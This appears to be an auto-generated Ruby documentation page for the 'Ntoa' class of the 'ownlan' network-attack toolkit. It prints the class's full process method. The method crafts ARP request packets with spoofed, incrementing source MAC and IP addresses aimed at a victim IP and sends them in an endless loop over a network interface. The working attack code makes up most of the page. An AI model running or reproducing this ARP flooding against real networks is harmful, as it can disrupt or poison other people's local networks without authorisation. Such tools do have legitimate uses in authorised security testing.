Class: Ownlan::Attack::Ntoa

Inherits:
Base
  • Object
show all
Defined in:
lib/ownlan/attack/ntoa.rb

Instance Attribute Summary

Attributes inherited from Base

#config, #crafted_packet

Instance Method Summary collapse

Methods inherited from Base

#initialize, #ip_to_mac

Constructor Details

This class inherits a constructor from Ownlan::Attack::Base

Instance Method Details

#processObject



5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# File 'lib/ownlan/attack/ntoa.rb', line 5

def process
  @a = 10
  @b = 10
  @c = 10
  @i = 0

  saddr          = "00:03:FF:#{@a}:#{@b}:#{@c}"
  daddr          = 'FF:FF:FF:FF:FF:FF'
  saddr_ip       = "#{source_ip_base}.#{@b}.#{@c}"
  daddr_ip       = victim_ip
  opcode         = 1

  crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, opcode).call

  loop do
    while @a < 100 do
      @b = 10
      @a += 1
      while @b < 100 && @a < 100 do
        @c = 10
        @b += 1
        while @c < 100 && @b < 100 do
          @c += 1

          crafted_packet.eth_saddr     = source_mac(@a, @b, @c)
          crafted_packet.arp_saddr_mac = source_mac(@a, @b, @c)

          crafted_packet.arp_saddr_ip = "#{source_ip_base}.#{(@b - 10) }.#{(@c - 10)}"

          crafted_packet.to_w(config.interface)
          @i += 1
          print "\r The ARP packet has been sent successfully #{@i} times"
          sleep config.delay
        end
      end
    end
  end
end